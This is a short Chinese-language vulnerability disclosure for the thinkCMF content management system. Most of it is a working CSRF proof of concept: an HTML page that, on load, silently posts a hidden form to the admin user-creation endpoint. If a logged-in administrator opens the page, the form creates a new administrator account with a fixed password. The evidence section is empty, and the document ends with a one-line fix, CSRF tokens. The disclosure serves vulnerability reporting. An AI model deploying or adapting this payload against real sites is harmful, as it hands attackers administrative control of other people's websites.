thinkCMF官网: https://www.thinkcmf.com/
一、POC
当管理员登录后,打开包含以下内容的网页,就会自动创建一个管理员账号。
注:需要把url变量中的http://tp.im更改为安装时设置的域名。
以下内容保存为一个html网页,如test.html。
<html><body>
<script type="text/javascript">
function post(url, fields)
{
var p = document.createElement("form");
p.action = url;
p.innerHTML = fields;
p.target = "_self";
p.method = "post";
document.body.appendChild(p);
p.submit();
}
function csrf_hack()
{
var fields;
fields += " <input type=\"hidden\" name=\"user_login\" value=\"CSRFadministrator\" />";
fields += " <input type=\"hidden\" name=\"user_pass\" value=\"admin1234\" />";
fields += " <input type=\"hidden\" name=\"user_email\" value=\"456@bing.com\" />";
fields += " <input type=\"hidden\" name=\"role_id[]\" value=\"1\" />";
var url = "http://tp.im/admin/user/addpost.html";
post(url, fields);
}
window.onload = function(){csrf_hack();}
</script>
</body></html>
二、漏洞证明:
修复建议:设置CSRF-token保护。